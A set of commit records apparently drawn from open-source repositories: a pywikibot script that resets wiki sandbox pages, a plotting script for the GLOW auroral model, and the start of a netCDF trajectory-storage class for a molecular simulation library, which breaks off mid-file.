                "sandbots": ["Addbot", "AvicBot2", "Cyberbot I", "Hazard-Bot", "Lowercase sigmabot II"],
                "sandboxes": {
                    "Project:Sandbox": "general",
                    "Project talk:Sandbox": "general",
                    "Project:Tutorial/Citing sources/sandbox": "general",
                    "Project:Tutorial/Editing/sandbox": "general",
                    "Project:Tutorial/Formatting/sandbox": "general",
                    "Project:Tutorial/Keep in mind/sandbox": "general",
                    "Project:Tutorial/Wikipedia links/sandbox": "general",
                    "Project talk:Tutorial/Citing sources/sandbox": "general",
                    "Project talk:Tutorial/Editing/sandbox": "general",
                    "Project talk:Tutorial/Formatting/sandbox": "general",
                    "Project talk:Tutorial/Keep in mind/sandbox": "general",
                    "Project talk:Tutorial/Wikipedia links/sandbox": "general",
                    "Template:Template sandbox": "template",
                    "Template:X1": "template",
                    "Template:X2": "template",
                    "Template:X3": "template",
                    "Template:X4": "template",
                    "Template:X5": "template",
                    "Template:X6": "template",
                    "Template:X7": "template",
                    "Template:X8": "template",
                    "Template:X9": "template",
                    "Template:X10": "template",
                    "Template:X11": "template",
                    "Template:X12": "template",
                    "Template talk:X1": "general",
                    "Template talk:X2": "general",
                    "Template talk:X3": "general",
                    "Template talk:X4": "general",
                    "Template talk:X5": "general",
                    "Template talk:X6": "general",
                    "Template talk:X7": "general",
                    "Template talk:X9": "general",
                    "Template talk:X10": "general",
                    "Template talk:X11": "general",
                    "Template talk:X12": "general",
                    "User:Sandbox": "general",
                    "User talk:Sandbox": "general"
                },
                "groups": {
                    "general": "{{subst:Sandbox reset}}",
                    "template": "{{subst:Template sandbox reset}}"
                }
            },
            "mediawikiwiki": {
                "site": pywikibot.Site("mediawiki", "mediawiki"),
                "dotask": None,  # "User:Hazard-Bot/DoTask/SandBot",
                "sandbots": ["Hazard-Bot"],
                "sandboxes": {
                    "Project:Sandbox": "general",
                    "Project:VisualEditor testing/Test": "visualeditor"
                },
                "groups": {
                    "general": "{{Please leave this line alone and write below (this is the coloured heading)}}",
                    "visualeditor": "{{subst:Project:VisualEditor testing/Test/Text}}"
                }
            },
            "nlwiki": {
                "site": pywikibot.Site("nl", "wikipedia"),
                "dotask": None,  # "User:Hazard-Bot/DoTask/SandBot",
                "sandbots": ["Hazard-Bot"],
                "sandboxes": {
                    "Project:Snelcursus/Probeer maar...": "tutorial",
                    "Project:Zandbak": "general"
                },
                "groups": {
                    "tutorial": "{{subst:/origineel}}",
                    "general": "{{subst:/origineel}}",
                }
            },
            "simplewiki": {
                "site": pywikibot.Site("simple", "wikipedia"),
                "dotask": None,  # "User:Hazard-Bot/DoTask/SandBot",
                "sandbots": ["Hazard-Bot", "RileyBot"],
                "sandboxes": {
                    "Project:Sandbox": "general",
                    "Project:Introduction": "introduction",
                    "Project:Student tutorial": "tutorial"
                },
                "groups": {
                    "general": "{{subst:/Text}}",
                    "introduction": """{{/Content}}<!--Please leave this line alone-->
<!-- Feel free to change the text below this line. No profanity, please. -->
""",
                    "tutorial": """{{Wikipedia:Student tutorial/Nav bar}}
{{Please try your changes below this line}}"""
                }
            }
        }

    def check_do_task_page(self):
        if not self.do_task_page:
            print("Note: No do-task page has been configured.")
            return True
        try:
            text = self.do_task_page.get(force=True)
        except pywikibot.IsRedirectPage:
            raise Warning("The 'do-task page' (%s) is a redirect." % self.do_task_page.title(asLink=True))
        except pywikibot.NoPage:
            raise Warning("The 'do-task page' (%s) does not exist." % self.do_task_page.title(asLink=True))
        else:
            if text.strip().lower() == "true":
                return True
            else:
                raise Exception("The task has been disabled from the 'do-task page' (%s)." %
                                self.do_task_page.title(asLink=True)
                                )

    def run(self):
        self.check_do_task_page()

        def clean_sandboxes(titles=self.config[self.db_name]["sandboxes"].keys()):
            self.recheck = list()
            for title in titles:
                sandbox = pywikibot.Page(self.site, title)
                try:
                    text = sandbox.get()
                    group = self.config[self.db_name]["sandboxes"][title]
                    group_text = self.config[self.db_name]["groups"][group]
                    if text.strip() == group_text.strip():
                        print("Skipping [[%s]]: Sandbox is clean" % title)
                        continue
                    elif sandbox.userName() in self.sandbots:
                        print("Skipping [[%s]]: Sandbot version" % title)
                        continue
                    else:
                        diff = datetime.utcnow() - sandbox.editTime()
                        if (diff.seconds/60) >= self.delay:
                            try:
                                sandbox.put(group_text, self.edit_summary)
                            except pywikibot.EditConflict:
                                self.recheck.append(title)
                                print("Delaying [[%s]]: Edit conflict encountered" % title)
                        else:
                            self.recheck.append(title)
                            print("Delaying [[%s]]: Sandbox may still be in use" % title)
                except pywikibot.NoPage:
                    print("Skipping [[%s]]: Non-existent sandbox" % title)

        clean_sandboxes()
        rechecks = 0
        while (len(self.recheck) > 0) and (rechecks > 2):
            rechecks += 1
            pause = self.delay * 60
            print("Pausing %i seconds to recheck %i sandboxes %s" % (pause, len(self.recheck), tuple(self.recheck)))
            sleep(pause)
            clean_sandboxes(self.recheck)

class SandHeaderBot(SandBot):
    def __init__(self, db_name):
        self.db_name = db_name
        self.config = {
            "enwiki": {
                "site": pywikibot.Site("en", "wikipedia"),
                "dotask": "User:Hazard-Bot/DoTask/SandBot",
                "edit_summary": "[[Wikipedia:Bots|Bot]]: Reinserting sandbox header",
                "template": "Template:Sandbox heading",
                "sandboxes": {"Project:Sandbox": "general"},
                "groups": {"general": "{{subst:Sandbox reset}}"}
            }
        }
        self.site = self.config[db_name]["site"]
        self.site.login()
        self.do_task_page = pywikibot.Page(self.site, self.config[db_name]["dotask"])
        self.edit_summary = self.config[db_name]["edit_summary"]

    def _get_titles(self, template):
        """Gets a list of the lowercase titles of a template and its redirects"""
        titles = [template.title(withNamespace=False).lower()]
        for reference in template.getReferences(withTemplateInclusion=False, redirectsOnly=True):
            titles.append(reference.title(withNamespace=False).lower())
        return list(set(titles))

    def run(self):
        self.check_do_task_page()
        for title in self.config[self.db_name]["sandboxes"].keys():
            sandbox = pywikibot.Page(self.site, title)
            text = sandbox.get(force=True)
            found = False
            for template in self._get_titles(pywikibot.Page(self.site, self.config[self.db_name]["template"])):
                if findall("\{\{\s*%s\s*\}\}" % (template.replace("(", "\(").replace(")", "\)")), text.lower()):
                    found = True
                    break
            if not found:
                group = self.config[self.db_name]["sandboxes"][title]
                group_text = self.config[self.db_name]["groups"][group]
                try:
                    sandbox.put("%s\n\n%s" % (group_text, text), self.edit_summary)
                except pywikibot.Error:
                    continue

def main():
    sandbot_sites = ["commonswiki", "enwiki", "mediawikiwiki", "nlwiki", "simplewiki"]
    sandbot_header_sites = ["enwiki"]
    header = False
    if len(sys.argv) > 1:
        db_name = sys.argv[1]
        if "--header" in sys.argv:
            header = True
    else:
        # Whether Python 2 or 3, we want the string
        def prompt(text):
            try:
                value = raw_input(text)
            except NameError:
                value = input(text)
            finally:
                return value

        db_name = prompt("Enter the database name (without '_p'): ")
        if db_name in sandbot_header_sites:
            header = prompt("Only insert header [True/False]: ")
            if header.lower().startswith("t"):
                header = True
            else:
                header = False
    if db_name not in sandbot_sites:
        raise Exception("%s is not configured as a sandbot site.")
    if header:
        if db_name not in sandbot_header_sites:
            raise Exception("%s is not configured as a sandbot header site.")
        else:
            bot = SandHeaderBot(db_name)
    else:
        bot = SandBot(db_name)
    bot.run()

if __name__ == "__main__":
    try:
        main()
    finally:
        pywikibot.stopme()
<commit_msg>added [[w:en:Draft:Sandbox]] and changed delay<commit_after># -*- coding: utf-8 -*-
#
# This work by Hazard-SJ ( https://github.com/HazardSJ ) is licensed under a
# Creative Commons Attribution-ShareAlike 4.0 International License ( http://creativecommons.org/licenses/by-sa/4.0/ ).

import sys
from re import findall
from datetime import datetime
from time import sleep

import pywikibot

class SandBot(object):
    def __init__(self, db_name):
        self.load_config()
        self.db_name = db_name
        self.site = self.config[db_name]["site"]
        self.site.login()
        self.edit_summary = pywikibot.i18n.twtranslate(self.site.language(), "clean_sandbox-cleaned")
        self.sandbots = self.config[db_name]["sandbots"]
        if self.config[db_name]["dotask"]:
            self.do_task_page = pywikibot.Page(self.site, self.config[db_name]["dotask"])
        else:
            self.do_task_page = None
        self.delay = 10  # number of minutes sandbox should have not been used for before cleaning

    def load_config(self):
        self.config = {
            "commonswiki": {
                "site": pywikibot.Site("commons", "commons"),
                "dotask": None,  # "User:Hazard-Bot/DoTask/SandBot",
                "sandbots": ["Hazard-Bot", "O (bot)"],
                "sandboxes": {"Project:Sandbox": "general"},
                "groups": {"general": "{{Sandbox}}\n<!-- Please edit only below this line. -->"}
            },
            "enwiki": {
                "site": pywikibot.Site("en", "wikipedia"),
                "dotask": "User:Hazard-Bot/DoTask/SandBot",
                "sandbots": ["Addbot", "AvicBot2", "Cyberbot I", "Hazard-Bot", "Lowercase sigmabot II"],
                "sandboxes": {
                    "Draft:Sandbox": "general",
                    "Project:Sandbox": "general",
                    "Project talk:Sandbox": "general",
                    "Project:Tutorial/Citing sources/sandbox": "general",
                    "Project:Tutorial/Editing/sandbox": "general",
                    "Project:Tutorial/Formatting/sandbox": "general",
                    "Project:Tutorial/Keep in mind/sandbox": "general",
                    "Project:Tutorial/Wikipedia links/sandbox": "general",
                    "Project talk:Tutorial/Citing sources/sandbox": "general",
                    "Project talk:Tutorial/Editing/sandbox": "general",
                    "Project talk:Tutorial/Formatting/sandbox": "general",
                    "Project talk:Tutorial/Keep in mind/sandbox": "general",
                    "Project talk:Tutorial/Wikipedia links/sandbox": "general",
                    "Template:Template sandbox": "template",
                    "Template:X1": "template",
                    "Template:X2": "template",
                    "Template:X3": "template",
                    "Template:X4": "template",
                    "Template:X5": "template",
                    "Template:X6": "template",
                    "Template:X7": "template",
                    "Template:X8": "template",
                    "Template:X9": "template",
                    "Template:X10": "template",
                    "Template:X11": "template",
                    "Template:X12": "template",
                    "Template talk:X1": "general",
                    "Template talk:X2": "general",
                    "Template talk:X3": "general",
                    "Template talk:X4": "general",
                    "Template talk:X5": "general",
                    "Template talk:X6": "general",
                    "Template talk:X7": "general",
                    "Template talk:X9": "general",
                    "Template talk:X10": "general",
                    "Template talk:X11": "general",
                    "Template talk:X12": "general",
                    "User:Sandbox": "general",
                    "User talk:Sandbox": "general"
                },
                "groups": {
                    "general": "{{subst:Sandbox reset}}",
                    "template": "{{subst:Template sandbox reset}}"
                }
            },
            "mediawikiwiki": {
                "site": pywikibot.Site("mediawiki", "mediawiki"),
                "dotask": None,  # "User:Hazard-Bot/DoTask/SandBot",
                "sandbots": ["Hazard-Bot"],
                "sandboxes": {
                    "Project:Sandbox": "general",
                    "Project:VisualEditor testing/Test": "visualeditor"
                },
                "groups": {
                    "general": "{{Please leave this line alone and write below (this is the coloured heading)}}",
                    "visualeditor": "{{subst:Project:VisualEditor testing/Test/Text}}"
                }
            },
            "nlwiki": {
                "site": pywikibot.Site("nl", "wikipedia"),
                "dotask": None,  # "User:Hazard-Bot/DoTask/SandBot",
                "sandbots": ["Hazard-Bot"],
                "sandboxes": {
                    "Project:Snelcursus/Probeer maar...": "tutorial",
                    "Project:Zandbak": "general"
                },
                "groups": {
                    "tutorial": "{{subst:/origineel}}",
                    "general": "{{subst:/origineel}}",
                }
            },
            "simplewiki": {
                "site": pywikibot.Site("simple", "wikipedia"),
                "dotask": None,  # "User:Hazard-Bot/DoTask/SandBot",
                "sandbots": ["Hazard-Bot", "RileyBot"],
                "sandboxes": {
                    "Project:Sandbox": "general",
                    "Project:Introduction": "introduction",
                    "Project:Student tutorial": "tutorial"
                },
                "groups": {
                    "general": "{{subst:/Text}}",
                    "introduction": """{{/Content}}<!--Please leave this line alone-->
<!-- Feel free to change the text below this line. No profanity, please. -->
""",
                    "tutorial": """{{Wikipedia:Student tutorial/Nav bar}}
{{Please try your changes below this line}}"""
                }
            }
        }

    def check_do_task_page(self):
        if not self.do_task_page:
            print("Note: No do-task page has been configured.")
            return True
        try:
            text = self.do_task_page.get(force=True)
        except pywikibot.IsRedirectPage:
            raise Warning("The 'do-task page' (%s) is a redirect." % self.do_task_page.title(asLink=True))
        except pywikibot.NoPage:
            raise Warning("The 'do-task page' (%s) does not exist." % self.do_task_page.title(asLink=True))
        else:
            if text.strip().lower() == "true":
                return True
            else:
                raise Exception("The task has been disabled from the 'do-task page' (%s)." %
                                self.do_task_page.title(asLink=True)
                                )

    def run(self):
        self.check_do_task_page()

        def clean_sandboxes(titles=self.config[self.db_name]["sandboxes"].keys()):
            self.recheck = list()
            for title in titles:
                sandbox = pywikibot.Page(self.site, title)
                try:
                    text = sandbox.get()
                    group = self.config[self.db_name]["sandboxes"][title]
                    group_text = self.config[self.db_name]["groups"][group]
                    if text.strip() == group_text.strip():
                        print("Skipping [[%s]]: Sandbox is clean" % title)
                        continue
                    elif sandbox.userName() in self.sandbots:
                        print("Skipping [[%s]]: Sandbot version" % title)
                        continue
                    else:
                        diff = datetime.utcnow() - sandbox.editTime()
                        if (diff.seconds/60) >= self.delay:
                            try:
                                sandbox.put(group_text, self.edit_summary)
                            except pywikibot.EditConflict:
                                self.recheck.append(title)
                                print("Delaying [[%s]]: Edit conflict encountered" % title)
                        else:
                            self.recheck.append(title)
                            print("Delaying [[%s]]: Sandbox may still be in use" % title)
                except pywikibot.NoPage:
                    print("Skipping [[%s]]: Non-existent sandbox" % title)

        clean_sandboxes()
        rechecks = 0
        while (len(self.recheck) > 0) and (rechecks > 2):
            rechecks += 1
            pause = 3 * 60
            print("Pausing %i seconds to recheck %i sandboxes %s" % (pause, len(self.recheck), tuple(self.recheck)))
            sleep(pause)
            clean_sandboxes(self.recheck)

class SandHeaderBot(SandBot):
    def __init__(self, db_name):
        self.db_name = db_name
        self.config = {
            "enwiki": {
                "site": pywikibot.Site("en", "wikipedia"),
                "dotask": "User:Hazard-Bot/DoTask/SandBot",
                "edit_summary": "[[Wikipedia:Bots|Bot]]: Reinserting sandbox header",
                "template": "Template:Sandbox heading",
                "sandboxes": {"Project:Sandbox": "general"},
                "groups": {"general": "{{subst:Sandbox reset}}"}
            }
        }
        self.site = self.config[db_name]["site"]
        self.site.login()
        self.do_task_page = pywikibot.Page(self.site, self.config[db_name]["dotask"])
        self.edit_summary = self.config[db_name]["edit_summary"]

    def _get_titles(self, template):
        """Gets a list of the lowercase titles of a template and its redirects"""
        titles = [template.title(withNamespace=False).lower()]
        for reference in template.getReferences(withTemplateInclusion=False, redirectsOnly=True):
            titles.append(reference.title(withNamespace=False).lower())
        return list(set(titles))

    def run(self):
        self.check_do_task_page()
        for title in self.config[self.db_name]["sandboxes"].keys():
            sandbox = pywikibot.Page(self.site, title)
            text = sandbox.get(force=True)
            found = False
            for template in self._get_titles(pywikibot.Page(self.site, self.config[self.db_name]["template"])):
                if findall("\{\{\s*%s\s*\}\}" % (template.replace("(", "\(").replace(")", "\)")), text.lower()):
                    found = True
                    break
            if not found:
                group = self.config[self.db_name]["sandboxes"][title]
                group_text = self.config[self.db_name]["groups"][group]
                try:
                    sandbox.put("%s\n\n%s" % (group_text, text), self.edit_summary)
                except pywikibot.Error:
                    continue

def main():
    sandbot_sites = ["commonswiki", "enwiki", "mediawikiwiki", "nlwiki", "simplewiki"]
    sandbot_header_sites = ["enwiki"]
    header = False
    if len(sys.argv) > 1:
        db_name = sys.argv[1]
        if "--header" in sys.argv:
            header = True
    else:
        # Whether Python 2 or 3, we want the string
        def prompt(text):
            try:
                value = raw_input(text)
            except NameError:
                value = input(text)
            finally:
                return value

        db_name = prompt("Enter the database name (without '_p'): ")
        if db_name in sandbot_header_sites:
            header = prompt("Only insert header [True/False]: ")
            if header.lower().startswith("t"):
                header = True
            else:
                header = False
    if db_name not in sandbot_sites:
        raise Exception("%s is not configured as a sandbot site.")
    if header:
        if db_name not in sandbot_header_sites:
            raise Exception("%s is not configured as a sandbot header site.")
        else:
            bot = SandHeaderBot(db_name)
    else:
        bot = SandBot(db_name)
    bot.run()

if __name__ == "__main__":
    try:
        main()
    finally:
        pywikibot.stopme()
<|endoftext|>


<commit_before>#!/usr/bin/env python3
"""
Trivial example of aurora using Stan Solomon's GLOW Auroral model
code wrapping in Python by Michael Hirsch
bostonmicrowave.com
"""
from matplotlib.pyplot import figure, show,subplots
from pandas import DataFrame
from datetime import datetime
from dateutil.parser import parse
from numpy import hstack
try:
    import seaborn as sns
except ImportError as e:
    print('Seaborn not installed, falling back to basic Matplotlib plots.  {}'.format(e))
#
from fortrandates import datetime2gtd
try:
    from aurora import aurora
except ImportError as e:
    exit('you must compile with f2py first. See README.md  {}'.format(e))

def demoaurora(iyd,utsec,glat,glon,f107a,f107,f107p,ap):
    z,zeta,ion,ecalc,photI,ImpI,isr,phitop = aurora(iyd,utsec,glat,glon,
                                             f107a,f107,f107p,ap,1,1000)

    ver = DataFrame(index=z,
                    data=zeta[:,:10],
                    columns=[3371, 4278, 5200, 5577, 6300,7320,10400,3466,
                             7774, 8446])
    photIon = DataFrame(index=z,
                   data=hstack((photI[:,None],ImpI[:,None],ecalc[:,None],ion)),
                    columns=['photoIoniz','eImpactIoniz','ne',
                    'nO+(2P)','nO+(2D)','nO+(4S)','nN+','nN2+','nO2+','nNO+',
                    'nO','nO2','nN2','nNO'])

    isrparam = DataFrame(index=z,
                         data=isr,
                         columns=['ne','Te','Ti'])

    phitop = DataFrame(index=phitop[:,0],
                       data=phitop[:,1],
                       columns=['flux'])
    return ver,photIon,isrparam,phitop

def plotaurora(phitop,ver,photIon,isr,dtime,glat,glon):
    ax = figure().gca()
    phitop.plot(ax=ax,logx=True,logy=True)
    ax.set_xlabel('Beam Energy [eV]')
    ax.set_ylabel('Flux')

    fg,axs = subplots(1,4,sharey=True)
    fg.suptitle('{} ({},{})'.format(dtime,glat,glon),fontsize='xx-large')

    ax = axs[0]
    ax.plot(ver.values,ver.index)
    ax.set_xlabel('VER',fontsize='large')
    ax.set_ylabel('altitude [km]',fontsize='large')
    ax.grid(True)
    ax.legend(ver.columns)
    ax.set_title('Volume emission rate',fontsize='x-large')

    ax = axs[1]
    ax.plot(photIon[['photoIoniz','eImpactIoniz']],photIon.index)
    ax.set_xlabel('ionization')
    ax.grid(True)
    ax.legend(photIon.columns[:2])
    ax.set_title('Photo and e$^-$ impact ionization',fontsize='x-large')

    ax = axs[2]
    ax.semilogx(photIon[['ne','nO+(2P)','nO+(2D)','nO+(4S)','nN+','nN2+','nO2+','nNO+',
                    'nO','nO2','nN2','nNO']], photIon.index)
    ax.set_xlabel('Density',fontsize='large')
    ax.grid(True)
    ax.legend(photIon.columns[2:])
    ax.set_title('Electron and Ion Densities',fontsize='x-large')

    ax = axs[3]
    ax.semilogx(isr[['Te','Ti']], isr.index)
    ax.set_xlabel('Temperature [K]',fontsize='large')
    ax.grid(True)
    ax.legend(isr.columns[1:])
    ax.set_title('Particle Temperature',fontsize='x-large')

if __name__ == '__main__':
    from argparse import ArgumentParser
    p = ArgumentParser(description="Stan Solomon's GLOW auroral model")
    p.add_argument('simtime',help='yyyy-mm-ddTHH:MM:SSZ time of sim',type=str,nargs='?',default=None)
    p.add_argument('-c','--latlon',help='geodetic latitude/longitude (deg)',type=float,nargs=2,default=(65,-148))
    p.add_argument('--f107a',help='AVERAGE OF F10.7 FLUX',type=float,default=150)
    p.add_argument('--f107p',help='DAILY F10.7 FLUX FOR PREVIOUS DAY',type=float,default=150)
    p.add_argument('--f107',help='F10.7 for sim. day',type=float,default=150)
    p.add_argument('--ap',help='daily ap',type=float,default=4)
    p = p.parse_args()

    if p.simtime is None:
        dtime = datetime.now()
    else:
        dtime = parse(p.simtime)
    iyd,utsec = datetime2gtd(dtime)[:2]

    (glat,glon) = p.latlon

    ver,photIon,isr,phitop = demoaurora(iyd,utsec,glat,glon,
                                        p.f107a,p.f107,p.f107p,p.ap)
    plotaurora(phitop,ver,photIon,isr,dtime,glat,glon)
    show()
<commit_msg>plots<commit_after>#!/usr/bin/env python3
"""
Trivial example of aurora using Stan Solomon's GLOW Auroral model
code wrapping in Python by Michael Hirsch
bostonmicrowave.com
"""
from matplotlib.pyplot import figure, show,subplots,tight_layout
from pandas import DataFrame
from datetime import datetime
from dateutil.parser import parse
from numpy import hstack
try:
    import seaborn as sns
except ImportError as e:
    print('Seaborn not installed, falling back to basic Matplotlib plots.  {}'.format(e))
#
from fortrandates import datetime2gtd
try:
    from aurora import aurora
except ImportError as e:
    exit('you must compile with f2py first. See README.md  {}'.format(e))

def demoaurora(iyd,utsec,glat,glon,f107a,f107,f107p,ap):
    z,zeta,ion,ecalc,photI,ImpI,isr,phitop = aurora(iyd,utsec,glat,glon,
                                             f107a,f107,f107p,ap,1,1000)

    ver = DataFrame(index=z,
                    data=zeta[:,:10],
                    columns=[3371, 4278, 5200, 5577, 6300,7320,10400,3466,
                             7774, 8446])
    photIon = DataFrame(index=z,
                   data=hstack((photI[:,None],ImpI[:,None],ecalc[:,None],ion)),
                    columns=['photoIoniz','eImpactIoniz','ne',
                    'nO+(2P)','nO+(2D)','nO+(4S)','nN+','nN2+','nO2+','nNO+',
                    'nO','nO2','nN2','nNO'])

    isrparam = DataFrame(index=z,
                         data=isr,
                         columns=['ne','Te','Ti'])

    phitop = DataFrame(index=phitop[:,0],
                       data=phitop[:,1],
                       columns=['flux'])
    return ver,photIon,isrparam,phitop

def plotaurora(phitop,ver,photIon,isr,dtime,glat,glon):
    ax = figure().gca()
    phitop.plot(ax=ax,logx=True,logy=True)
    ax.set_xlabel('Beam Energy [eV]',fontsize='large')
    ax.set_ylabel('Flux',fontsize='large')
    ax.tick_params(axis='both',which='major',labelsize='medium')

    fg,axs = subplots(1,4,sharey=True, figsize=(15,8))
    fg.suptitle('{} ({},{})'.format(dtime,glat,glon),fontsize='x-large')
    tight_layout(pad=3.2, w_pad=0.3)

    ax = axs[0]
    ax.plot(ver.values,ver.index)
    ax.set_xlabel('VER',fontsize='large')
    ax.set_ylabel('altitude [km]',fontsize='large')
    ax.legend(ver.columns)
    ax.set_title('Volume emission rate',fontsize='x-large')

    ax = axs[1]
    ax.plot(photIon[['photoIoniz','eImpactIoniz']],photIon.index)
    ax.set_xlabel('ionization',fontsize='large')
    ax.legend(photIon.columns[:2])
    ax.set_title('Photo and e$^-$ impact ionization',fontsize='x-large')

    ax = axs[2]
    ax.semilogx(photIon[['ne','nO+(2P)','nO+(2D)','nO+(4S)','nN+','nN2+','nO2+','nNO+',
                    'nO','nO2','nN2','nNO']], photIon.index)
    ax.set_xlabel('Density',fontsize='large')
    ax.legend(photIon.columns[2:])
    ax.set_title('Electron and Ion Densities',fontsize='x-large')

    ax = axs[3]
    ax.semilogx(isr[['Te','Ti']], isr.index)
    ax.set_xlabel('Temperature [K]',fontsize='large')
    ax.legend(isr.columns[1:])
    ax.set_title('Particle Temperature',fontsize='x-large')

    for a in axs:
        a.grid(True)
        a.tick_params(axis='both',which='major',labelsize='medium')

if __name__ == '__main__':
    from argparse import ArgumentParser
    p = ArgumentParser(description="Stan Solomon's GLOW auroral model")
    p.add_argument('simtime',help='yyyy-mm-ddTHH:MM:SSZ time of sim',type=str,nargs='?',default=None)
    p.add_argument('-c','--latlon',help='geodetic latitude/longitude (deg)',type=float,nargs=2,default=(65,-148))
    p.add_argument('--f107a',help='AVERAGE OF F10.7 FLUX',type=float,default=150)
    p.add_argument('--f107p',help='DAILY F10.7 FLUX FOR PREVIOUS DAY',type=float,default=150)
    p.add_argument('--f107',help='F10.7 for sim. day',type=float,default=150)
    p.add_argument('--ap',help='daily ap',type=float,default=4)
    p = p.parse_args()

    if p.simtime is None:
        dtime = datetime.now()
    else:
        dtime = parse(p.simtime)
    iyd,utsec = datetime2gtd(dtime)[:2]

    (glat,glon) = p.latlon

    ver,photIon,isr,phitop = demoaurora(iyd,utsec,glat,glon,
                                        p.f107a,p.f107,p.f107p,p.ap)
    plotaurora(phitop,ver,photIon,isr,dtime,glat,glon)
    show()
<|endoftext|>


<commit_before>'''
Created on 06.07.2014

@author: JDC Chodera
@author: JH Prinz
'''

import netCDF4 as netcdf
import os.path

import numpy
import simtk.unit as u

from object_storage import ObjectStorage
from trajectory_store import TrajectoryStorage
from opentis.storage.sample_store import SampleStorage
from snapshot_store import SnapshotStorage, ConfigurationStorage, MomentumStorage
from engine_store import DynamicsEngineStorage
from ensemble_store import EnsembleStorage
from opentis.shooting import ShootingPointSelector, ShootingPoint
from opentis.pathmover import PathMover, MoveDetails
from opentis.globalstate import GlobalState
from orderparameter_store import ObjectDictStorage
from opentis.orderparameter import OrderParameter
from opentis.snapshot import Snapshot

from opentis.storage.util import ObjectJSON
from opentis.tools import units_from_snapshot

#=============================================================================================
# SOURCE CONTROL
#=============================================================================================

__version__ = "$Id: NoName.py 1 2014-07-06 07:47:29Z jprinz $"

#=============================================================================================
# NetCDF Storage for multiple forked trajectories
#=============================================================================================

class Storage(netcdf.Dataset):
    '''
    A netCDF4 wrapper to store trajectories based on snapshots of an OpenMM
    simulation. This allows effective storage of shooting trajectories '''

    def __init__(self, filename='trajectory.nc', mode=None,
                 template=None, n_atoms=None, units=None):
        '''
        Create a storage for complex objects in a netCDF file

        Parameters
        ----------
        filename : string
            filename of the netcdf file to be used or created
        mode : string, default: None
            the mode of file creation, one of 'w' (write), 'a' (append) or
            None, which will append any existing files.
        template : opentis.Snapshot
            a Snapshot instance that contains a reference to a Topology, the
            number of atoms and used units
        n_atoms : int or None
            If not None overrides the number of atoms in the storage
        units : dict of {str : simtk.unit.Unit } or None
            representing a dict of string representing a dimension ('length', 'velocity', 'energy') pointing to
            the simtk.unit.Unit to be used. If not None overrides the standard units used
        '''

        if mode == None:
            if os.path.isfile(filename):
                mode = 'a'
            else:
                mode = 'w'

        self._storages = {}
        self._storages_base_cls = {}

        self.filename = filename
        self.links = []

        self.simplifier = ObjectJSON()

        self.units = dict()

        # use no units
        self.dimension_units = {
            'length' : u.Unit({}),
            'velocity' : u.Unit({}),
            'energy' : u.Unit({})
        }

        # use MD units
        self.dimension_units = {
            'length' : u.nanometers,
            'velocity' : u.nanometers / u.picoseconds,
            'energy' : u.kilojoules_per_mole
        }

        if units is not None:
            self.dimension_units.update(units)

        super(Storage, self).__init__(filename, mode)

        self.trajectory = TrajectoryStorage(self).register()
        self.snapshot = SnapshotStorage(self).register()
        self.configuration = ConfigurationStorage(self).register()
        self.momentum = MomentumStorage(self).register()
        self.ensemble = EnsembleStorage(self).register()
        self.sample = SampleStorage(self).register()
        self.pathmover = ObjectStorage(self, PathMover, named=True, json=True, identifier='json').register()
        self.movedetails = ObjectStorage(self, MoveDetails, named=False, json=True, identifier='json').register()
        self.shootingpoint = ObjectStorage(self, ShootingPoint, named=False, json=True).register()
        self.shootingpointselector = ObjectStorage(self, ShootingPointSelector, named=False, json=True, identifier='json').register()
        self.globalstate = ObjectStorage(self, GlobalState, named=True, json=True, identifier='json').register()
        self.engine = DynamicsEngineStorage(self).register()
        self.collectivevariable = ObjectDictStorage(self, OrderParameter, Snapshot).register()
        self.cv = self.collectivevariable

        if mode == 'w':
            self._init()

            if template.topology is not None:
                self.topology = template.topology

            if n_atoms is not None:
                self.atoms = n_atoms
            elif self.topology is not None:
                self.atoms = self.topology.n_atoms
            elif template.coordinates is not None:
                self.atoms = template.coordinates.shape[0]
            else:
                raise RuntimeError("Storage given neither n_atoms nor topology")

            # update the units for dimensions from the template
            self.dimension_units.update(units_from_snapshot(template))
            self._init_classes(units=self.dimension_units)

            # create a json from the mdtraj.Topology() and store it
            self.write_str('topology', self.simplifier.to_json(self.simplifier.topology_to_dict(self.topology)))

            # Save the initial configuration
            self.snapshot.save(template)

            self.createVariable('template_idx', 'i4', 'scalar')
            self.variables['template_idx'][:] = template.idx[self]

            self.sync()

        elif mode == 'a':
            self._restore_classes()

            # Create a dict of simtk.Unit() instances for all netCDF.Variable()
            for variable_name in self.variables:
                unit = None
                variable = self.variables[variable_name]
                if hasattr(variable, 'unit_simtk'):
                    unit_dict = self.simplifier.from_json(getattr(variable, 'unit_simtk'))
                    if unit_dict is not None:
                        unit = self.simplifier.unit_from_dict(unit_dict)

                self.units[str(variable_name)] = unit

            # After we have restore the units we can load objects from the storage

            self.topology = self.simplifier.topology_from_dict(self.simplifier.from_json(self.variables['topology'][0]))
            self.atoms = self.topology.n_atoms

    @property
    def template(self):
        """
        Return the template snapshot from the storage

        Returns
        -------
        Snapshot
            the initial snapshot
        """
        return self.snapshot.load(int(self.variables['template_idx'][0]))

    def get_unit(self, dimension):
        """
        Return a simtk.Unit instance from the unit_system the is of the specified dimension, e.g. length, time
        """
        return u.Unit({self.unit_system.base_units[u.BaseDimension(dimension)] : 1.0})

    def __getattr__(self, item):
        return self.__dict__[item]

    def __setattr__(self, key, value):
        self.__dict__[key] = value

    def _init_classes(self, units=None):
        '''
        Run the initialization on all added classes, when the storage is created only!

        Notes
        -----
        Only runs when the storage is created.
        '''

        for storage in self.links:
            # create a member variable which is the associated Class itself
            storage.dimension_units.update(units)
            storage._init()

    def _restore_classes(self):
        '''
        Run restore on all added classes. Usually there is nothing to do.
        '''
#        for storage in self.links:
#            storage._restore()
        pass

    def _init(self):
        """
        Initialize the netCDF file for storage itself.
        """

        # add shared dimension for everyone. scalar and spatial
        if 'scalar' not in self.dimensions:
            self.createDimension('scalar', 1) # scalar dimension

        if 'spatial' not in self.dimensions:
            self.createDimension('spatial', 3) # number of spatial dimensions

        # Set global attributes.
        setattr(self, 'title', 'Open-Transition-Interface-Sampling')
        setattr(self, 'application', 'Host-Guest-System')
        setattr(self, 'program', 'run.py')
        setattr(self, 'programVersion', __version__)
        setattr(self, 'Conventions', 'Multi-State Transition Interface TPS')
        setattr(self, 'ConventionVersion', '0.1')

        # Create a string to hold the topology
        self.init_str('topology')
        self.write_str('topology', '')

        # Force sync to disk to avoid data loss.
        self.sync()

    def init_object(self, name):
        '''
        Initialize a netCDF Variable to store a JSON object

        Parameters
        ----------
        name : str
            the name of the variable
        '''
        self.init_str(name)

    def write_as_json(self, name, obj):
        '''
        Write an object as json into a netCDF Variable

